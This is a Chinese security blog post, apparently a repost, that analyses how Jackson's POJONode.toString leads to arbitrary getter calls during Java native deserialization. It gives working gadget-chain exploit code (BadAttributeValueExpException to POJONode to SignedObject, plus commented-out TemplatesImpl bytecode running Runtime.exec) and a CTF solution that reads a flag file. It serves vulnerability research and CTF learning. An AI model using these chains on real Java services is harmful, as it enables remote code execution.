jackson原生反序列化触发getter方法的利用与分析

jackson原生反序列化触发getter方法的利用与分析

原文:https://xz.aliyun.com/t/12509

首先要知道fastjson也有这个特性:反序列化调用任意类的getter方法的原理与细节

从最开始的fastjson < 1.2.48下的在JSONObject / JSONArray类反序列化过程没有安全检查的情况下通过BadAttributeValueExpException#readObject调用JSONObject#toString / JSONArray#toString方法也即是JSON#toString方法触发getter

再到fastjson >= 1.2.48下的存在有SecureObjectInputStream的安全检查的情况下,通过使用HashMap等等类创建一个reference的方式绕过resolveClass的检查触发getter

结论

  • jackson的POJONode方法可以任意调用getter

  • jackson序列化会任意调用getter

demo

demo (ObjectMapper.writeValueAsString()可将Jackson对象序列化为字符串,ObjectMapper.readValue()则反序列化)

jacksonTest.java

package com.yancao.ctf.qaq;

import com.fasterxml.jackson.core.JsonProcessingException;
import com.fasterxml.jackson.databind.ObjectMapper;

public class jacksonTest {
    public static void main(String[] args) throws JsonProcessingException {

        Message message = new Message();
        message.setCode(114514);
        message.setDetail("thai want to test jackson");

        ObjectMapper objectMapper = new ObjectMapper();
        String s = objectMapper.writeValueAsString(message);

        System.out.println("jackon string: " + s);

    }
}

随便写个javaBean

Message.java

package com.yancao.ctf.qaq;

public class Message {
    int code;
    String detail;
    Object data;

    public Message() {
    }

    public void setCode(int code) {
        this.code = code;
    }

    public void setDetail(String detail) {
        this.detail = detail;
    }

    public void setData(Object data) {
        this.data = data;
    }

    public int getCode() {
        System.out.println("getCode");
        return this.code;
    }

    public String getDetail() {
        System.out.println("getDetail");
        return this.detail;
    }

    public Object getData() {
        System.out.println("getData");
        return this.data;
    }

    public Message(int code, String detail) {
        this.code = code;
        this.detail = detail;
    }

    public Message(int code, String detail, Object data) {
        this.code = code;
        this.detail = detail;
        this.data = data;
    }
}

运行一下刚刚的jacksonTest,看看序列化的时候是否调用了javaBean的所有getter方法

image-20230808175250643

验证成功!

分析

jackson自身提供的反序列化->任意调用Getter(待补充)

看一下jackson在使用自身提供的反序列化入口时是怎么导致任意getter调用的

在jackson中将对象序列化成一个json串主要是使用的ObjectMapper#writeValueAsString方法

随便写个demo测试

可以看到调用栈:

serializeAsField:689, BeanPropertyWriter (com.fasterxml.jackson.databind.ser)
serializeFields:774, BeanSerializerBase (com.fasterxml.jackson.databind.ser.std)
serialize:178, BeanSerializer (com.fasterxml.jackson.databind.ser)
_serialize:480, DefaultSerializerProvider (com.fasterxml.jackson.databind.ser)
serializeValue:319, DefaultSerializerProvider (com.fasterxml.jackson.databind.ser)
_writeValueAndClose:4568, ObjectMapper (com.fasterxml.jackson.databind)
writeValueAsString:3821, ObjectMapper (com.fasterxml.jackson.databind)

image-20230808175803201

比较重要的是DefaultSerializerProvider#serializeValue

BeanSerializer#serialize

BeanSerializerBase#serializeFields

        try {
            for(int len = props.length; i < len; ++i) {
                BeanPropertyWriter prop = props[i];
                if (prop != null) {
                    prop.serializeAsField(bean, gen, provider);
                }
            }

经过调试,这个地方是在遍历getter方法

image-20230808175856008

而最后是能够调用对应属性值的getter方法进行赋值

POJONode#toString->jackson自身提供的反序列化->任意调用Getter

观察网上很多exp,产生一个问题,也就是为什么POJONode类的toString方法能够调用对应类对象的getter方法呢?

POJONode中不存在有toString方法的实现,在其父类(其实是父类的父类)BaseJsonNode中存在有,因其为一个抽象类,所以选择使用POJONode这个没有实现toString方法的类进行利用

com.fasterxml.jackson.databind.node.BaseJsonNode#toString

    public String toString() {
        return InternalNodeMapper.nodeToString(this);
    }

跟进去

com.fasterxml.jackson.databind.node.InternalNodeMapper#nodeToString

    public static String nodeToString(JsonNode n) {
        try {
            return STD_WRITER.writeValueAsString(n);
        } catch (IOException var2) {
            throw new RuntimeException(var2);
        }
    }

然后writeValueAsString就是jackson反序列化自带的入口了

在最前的Jackson的知识点中,提到了在将一个Bean对象序列化一个json串的使用常用的方法是writeValueAsString方法,并详细分析了,在调用该方法的过程中将会通过遍历的方法将bean对象中的所有的属性的getter方法进行调用

也就是说

BadAttributeValueExpException.toString -> POJONode -> jackson反序列化->getter 

exp

        // 删除 jsonNode 的 writeReplace,不删除会报错
        try {
            ClassPool pool = ClassPool.getDefault();
            CtClass jsonNode = pool.get("com.fasterxml.jackson.databind.node.BaseJsonNode");
            CtMethod writeReplace = jsonNode.getDeclaredMethod("writeReplace");
            jsonNode.removeMethod(writeReplace);
            ClassLoader classLoader = Thread.currentThread().getContextClassLoader();
            jsonNode.toClass(classLoader, null);
        } catch (Exception e) {
        }

        POJONode node = new POJONode(signedObject);
        BadAttributeValueExpException val = new BadAttributeValueExpException(null);
        setValue(val, "val", node);

        serialize(val);
        unserialize("ser.bin");

signedObject是需要被你调用getter方法的类

作用

任意调用Getter的作用就是本身,往往用来构造反序列化链

signedObject#getObject

二次反序列化你懂的

参考巅峰极客2023 babyurl

exp

        KeyPairGenerator keyPairGenerator = KeyPairGenerator.getInstance("DSA");
        keyPairGenerator.initialize(1024);
        KeyPair keyPair = keyPairGenerator.genKeyPair();
        PrivateKey privateKey = keyPair.getPrivate();
        Signature signature = Signature.getInstance(privateKey.getAlgorithm());
        SignedObject signedObject = new SignedObject(urlhelper, privateKey, signature);

//        ClassPool pool = ClassPool.getDefault();
//        CtClass clazz = pool.makeClass("a");
//        CtClass superClass = pool.get(AbstractTranslet.class.getName());
//        clazz.setSuperclass(superClass);
//        CtConstructor constructor = new CtConstructor(new CtClass[]{}, clazz);
//        constructor.setBody("Runtime.getRuntime().exec(\"calc\");");
//        clazz.addConstructor(constructor);
//        byte[][] bytes = new byte[][]{clazz.toBytecode()};
//        TemplatesImpl templates = TemplatesImpl.class.newInstance();
//        setValue(templates, "_bytecodes", bytes);
//        setValue(templates, "_name", "xx");
//        setValue(templates, "_tfactory", new TransformerFactoryImpl());

        // 删除 jsonNode 的 writeReplace
        try {
            ClassPool pool = ClassPool.getDefault();
            CtClass jsonNode = pool.get("com.fasterxml.jackson.databind.node.BaseJsonNode");
            CtMethod writeReplace = jsonNode.getDeclaredMethod("writeReplace");
            jsonNode.removeMethod(writeReplace);
            ClassLoader classLoader = Thread.currentThread().getContextClassLoader();
            jsonNode.toClass(classLoader, null);
        } catch (Exception e) {
        }

        POJONode node = new POJONode(signedObject);
        BadAttributeValueExpException val = new BadAttributeValueExpException(null);
        setValue(val, "val", node);

        serialize(val);
        unserialize("ser.bin");

        base64encode_exp(val);

templateImpl

参考巅峰极客2023 babyurl 非预期

exp

    public static void main(String[] args) throws Exception {
        URLHelper urlhelper = new URLHelper("netdoc:///");
//        URLHelper urlhelper = new URLHelper("url:file:///flag.txt");
        urlhelper.visiter = new URLVisiter();

        KeyPairGenerator keyPairGenerator = KeyPairGenerator.getInstance("DSA");
        keyPairGenerator.initialize(1024);
        KeyPair keyPair = keyPairGenerator.genKeyPair();
        PrivateKey privateKey = keyPair.getPrivate();
        Signature signature = Signature.getInstance(privateKey.getAlgorithm());
        SignedObject signedObject = new SignedObject(urlhelper, privateKey, signature);

//        ClassPool pool = ClassPool.getDefault();
//        CtClass clazz = pool.makeClass("a");
//        CtClass superClass = pool.get(AbstractTranslet.class.getName());
//        clazz.setSuperclass(superClass);
//        CtConstructor constructor = new CtConstructor(new CtClass[]{}, clazz);
//        constructor.setBody("Runtime.getRuntime().exec(\"calc\");");
//        clazz.addConstructor(constructor);
//        byte[][] bytes = new byte[][]{clazz.toBytecode()};
//        TemplatesImpl templates = TemplatesImpl.class.newInstance();
//        setValue(templates, "_bytecodes", bytes);
//        setValue(templates, "_name", "xx");
//        setValue(templates, "_tfactory", new TransformerFactoryImpl());

        // 删除 jsonNode 的 writeReplace
        try {
            ClassPool pool = ClassPool.getDefault();
            CtClass jsonNode = pool.get("com.fasterxml.jackson.databind.node.BaseJsonNode");
            CtMethod writeReplace = jsonNode.getDeclaredMethod("writeReplace");
            jsonNode.removeMethod(writeReplace);
            ClassLoader classLoader = Thread.currentThread().getContextClassLoader();
            jsonNode.toClass(classLoader, null);
        } catch (Exception e) {
        }

        POJONode node = new POJONode(signedObject);
        BadAttributeValueExpException val = new BadAttributeValueExpException(null);
        setValue(val, "val", node);

        serialize(val);
        unserialize("ser.bin");

        base64encode_exp(val);

    }
暂无评论

发送评论 编辑评论


				
|´・ω・)ノ
ヾ(≧∇≦*)ゝ
(☆ω☆)
(╯‵□′)╯︵┴─┴
 ̄﹃ ̄
(/ω\)
∠( ᐛ 」∠)_
(๑•̀ㅁ•́ฅ)
→_→
୧(๑•̀⌄•́๑)૭
٩(ˊᗜˋ*)و
(ノ°ο°)ノ
(´இ皿இ`)
⌇●﹏●⌇
(ฅ´ω`ฅ)
(╯°A°)╯︵○○○
φ( ̄∇ ̄o)
ヾ(´・ ・`。)ノ"
( ง ᵒ̌皿ᵒ̌)ง⁼³₌₃
(ó﹏ò。)
Σ(っ °Д °;)っ
( ,,´・ω・)ノ"(´っω・`。)
╮(╯▽╰)╭
o(*////▽////*)q
>﹏<
( ๑´•ω•) "(ㆆᴗㆆ)
😂
😀
😅
😊
🙂
🙃
😌
😍
😘
😜
😝
😏
😒
🙄
😳
😡
😔
😫
😱
😭
💩
👻
🙌
🖕
👍
👫
👬
👭
🌚
🌝
🙈
💊
😶
🙏
🍦
🍉
😣
Source: github.com/k4yt3x/flowerhd
颜文字
Emoji
小恐龙
花!
上一篇
下一篇